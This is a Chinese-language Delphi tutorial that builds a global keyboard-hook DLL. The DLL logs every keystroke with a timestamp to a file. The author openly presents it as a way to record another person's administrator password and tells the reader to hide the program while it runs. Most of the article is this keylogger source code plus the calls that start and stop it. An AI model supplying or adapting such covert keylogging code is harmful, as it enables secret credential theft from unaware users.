Delphi编程使用HOOK监视Windows

每个程序都有自己的生存空间,在Windows系统中你可以在任何时候让你的程序执行一些操作,还可以触发消息,触发的消息分为三种,一是操作你程序的界面,onClick,onMouseMove等等,另外一个可以使用Windows的消息机制来捕获一些系统消息,但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了,虽然还有其他方法,但不得不承认,HOOK是一个比较简单解决问题的途径。

下面就来举个例子(使用Delphi7.0调试通过):

如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?

首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。

写个DLL定义一下函数

function setkeyhook:bool;export;
function endkeyhook:bool;export;
procedure keyhookexit;far;
procedure SetMainHandle(Handle: HWND); export;forward;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
procedure EntryPointProc(Reason: Integer);
 const
  hMapObject: THandle = 0;
 begin
  case reason of
   DLL_PROCESS_ATTACH:
  begin
   hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’);
   rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);
  end;
  DLL_PROCESS_DETACH:
 begin
 try
  UnMapViewOfFile(rHookRec);
  CloseHandle(hMapObject);
  except
 end;
end;
end;
end;
procedure keyhookexit;far;
begin
if hNexthookproc<&gt;0 then endkeyhook;
 exitproc:=procsaveexit;
end;
function endkeyhook:bool;export;
begin
if hNexthookproc<>0 then
begin
 unhookwindowshookex(hNexthookproc);
 hNexthookproc:=0;
 messagebeep(0);
end;
result:=hNexthookproc=0;
MainHandle:=0;
end;
function Setkeyhook:bool;export;
begin
 hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);
 result:=hNexthookproc<>0;
end;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
var
 s:Tstringlist;
begin
 if icode<0 then
 begin
  result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
  exit;
 end;
 if lparam<0 then
 begin
  exit;
 end;
 s:=TStringlist.Create;
 if FileExists(afilename) then
  s.LoadFromFile(afilename);
  //将敲打的键盘字符保存到文件中
  s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) );
  s.SaveToFile(afilename);
  s.Free;
  result:=0;
 end;

Dll的Project文件中定义如下

exports
setkeyhook index 1,
endkeyhook index 2,
SetMainHandle index 3;
begin
hNexthookproc:=0;
procsaveexit:=exitproc;
DllProc := @EntryPointProc;
EntryPointProc(DLL_PROCESS_ATTACH);
end.

这样DLL就定义好了,接下来就是画个界面:

function setkeyhook:bool;external ’keyspy.dll’;
function endkeyhook:bool;external ’keyspy.dll’;
procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’;
//开始捕获键盘
SetMainHandle(handle);
setkeyhook
//中止捕获键盘
endkeyhook

然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。

另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows API来配合,通过很多技巧作出让人意想不到的效果。

时间: 2024-09-22 07:25:31

Delphi编程使用HOOK监视Windows的相关文章

Delphi编程调用指定的Windows程序

本实例介绍如何在自己的程序中调用指定的Windows程序. 首先启动一个新的项目,在空白的窗体上添加4个TButton组件.添加组件后的窗体如图1所示. 图1 添加组件后的窗体 其中WinExec按钮用于以WinExec函数来调用指定的Windows程序.ShellExecute按钮用于以ShellExecute函数来调用指定的Windows程序.CreateProcess按钮和TerminateProcess按钮用于实现对被调用程序更全面的操作,前者用于调用指定的Windows程序,而后者则用

Delphi编程的优秀辅助工具――GExperts

大家都知道,Delphi语言的功能是相当强大的,由于其拥有很好的扩展性,因此很多公司.团队和个人开发了辅助Delphi编程的工具软件.GExperts就是一个这样的免费而且优秀的软件(在我的印象中,好像只有控件包中的Rxlib和Mwedit能够与之媲美).GExperts是一个Delphi的扩展功能软件,也叫做Experts,我现在使用的版本是0.97.1,最新的版本相关信息可以到它的网站上去看:www.GExperts.com. 下载完毕后,执行安装程序,然后再进入Delphi(在安装GExp

深入Delphi编程(OOP)

刚刚接触的Delphi的朋友,可能最感兴趣的就是它丰富.强大的VCL(可视化构件库).仅仅向窗体上扔几个构件,甚至不用动手写代码,就能很容易地做出一个有实用价值的程序,真是令人激动.但是,VCL只是Delphi的一小部分,Delphi的优秀远远不只是表现在VCL上.如果你仅仅停留在使用VCL这一阶段,那么你永远也不可能成为一个真正的Delphi高手.记住,必须超越VCL,才能够接触到Delphi的核心. 那么,在Delphi的VCL后面,到底隐藏着什么呢?本文将讨论两个比较高级的Delphi主题

Delphi编程的优秀辅助工具-GExperts

大家都知道,Delphi语言的功能是相当强大的,由于其拥有很好的扩展性,因此很多公司.团队和个人开发了辅助Delphi编程的工具软件.GExperts就是一个这样的免费而且优秀的软件(在我的印象中,好像只有控件包中的Rxlib和Mwedit能够与之媲美).GExperts是一个Delphi的扩展功能软件,也叫做Experts,我现在使用的版本是0.97.1,最新的版本相关信息可以到它的网站上去看:www.GExperts.com. 下载完毕后,执行安装程序,然后再进入Delphi(在安装GExp

用托管C++监视Windows事件日志

随着病毒.流氓软件.广告软件等的日益增多,许多人都开始使用注册表监视程序,这些监视程序通常会在安装软件试图修改注册表时,弹出一个警告窗口提示用户.然而,在安全问题上,经常被忽略的地方则是Windows事件日志--尤其是安全日志,安全日志通常记录了Windows操作系统及关键系统应用程序的操作,如试图非法登录.端口扫描.及其他安全相关的事件. 文中将演示如何在应用程序中监视Windows事件日志,当然了,还可以对程序进行扩充,如在事件日志记录到特定的事件类型时,发电子邮件通知用户. 用 .NET

delphi问题-怎么用DELPHI编程填特定表格

问题描述 怎么用DELPHI编程填特定表格 请教一个填表编程问题,表如图,要求空格为0到5之间的数,每行相加等于5,每列相加等于表末指定的数,这样问题要如何编程解决. AB B1 B2 B3 B4 B5 B6 B7 A1 5 A2 5 A3 5 A4 5 A5 5 A6 5 A7 5 A8 5 A9 5 A10 5 A11 5 A12 5 A13 5 A14 5 A15 5 A16 11 11 15 8 13 17 75

Amazon CloudWatch监视Windows Server2008的磁盘空间使用率配置

  在AWS启动Windows Server2008之后,默认以安装了EC2ConfigService. 在这里介绍一下,使用EC2ConfigService服务创建CloudWatch自定义监视磁盘使用率. EC2ConfigServiceSettings 修改EC2ConfigServiceSettings配置 修改JSON文件 重启EC2ConfigService 1. 修改EC2ConfigServiceSettings配置 启动C:\Program Files\Amazon\Ec2Co

在Delphi编程中使用C语言代码

Windows下编程的工具有很多,例如VB,Delphi,VC等等.我在这里不想讨论"它们的具体哪个更好一点"这种幼稚的问题.玩过DOS程序设计的人都知道,DOS下很多语言的实质核心还是调用系统提供的汇编中断函数.到了Windows下,它就变成了我们常说的API了.而在Windows下写程序很多时候都是调用API,语言,只不过是一个表达工具而已. 我现在已经参加工作大约有半年左右,我们公司是用Borland公司的Delphi作为主开发工具.本着未偏袒任何一个工具的立场,我说句公道话:D

Delphi编程访问注册表

注册表是windows系统的一个庞大数据库,它存储着系统硬件.软件及用户信息.适当修改注册表的参数值,可以提高系统的性能.注册表的修改通常有两种途径:其一是利用windows系统提供的"RegEdit"命令进行修改.此种方法虽说直观,但由于注册表的复杂性,对于一般用户来说,此方法并不十分可行.其二就是以编程方式来访问注册表.掌握这种方法,对于程序员来说,是一个重要的基本技术.因为在我们的编程过程中,很多地方都需要以程序方式去访问注册表.比如大家熟悉的"超级兔子".&